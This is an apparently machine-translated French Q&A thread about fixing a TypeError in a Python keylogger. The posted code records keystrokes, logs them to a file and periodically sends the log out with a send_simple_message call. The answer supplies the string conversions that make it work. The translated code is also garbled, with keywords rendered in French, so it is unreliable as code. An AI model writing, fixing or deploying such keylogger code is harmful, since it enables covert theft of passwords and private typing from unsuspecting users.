deffile_input (enregistré):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
si nom == "principal":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
im essayant d'écrire un enregistreur de frappe dans python et j'ai fait face à une erreur de type comme ça, comment puis-je résoudre ce problème?
je viens de mettre une variable enregistrée dans write () et cela fait une erreur de type et le type de variable enregistrée est la liste. j'ai donc essayé d'utiliser join func mais cela n'a pas fonctionné
Vous essayez d'écrire dans un fichier en utilisant w.write()
mais cela ne prend qu'une chaîne comme argument. now_time
Est un type 'datetime' et non une chaîne. si vous n'avez pas besoin de formater la date, vous pouvez simplement le faire à la place:
w.write(str(nowtime))
Même chose avec
w.write(recorded)
recorded
est une liste d'événements, vous devez l'utiliser pour construire une chaîne avant d'essayer d'écrire cette chaîne dans le fichier. Par exemple:
recorded = keyboard.record(until='enter')
typedstr = " ".join(keyboard.get_typed_strings(recorded))
Ensuite, à l'intérieur de la fonction file_input()
, vous pouvez:
w.write(typedstr)
En passant à w.write(str(recorded))
mon problème a été résolu.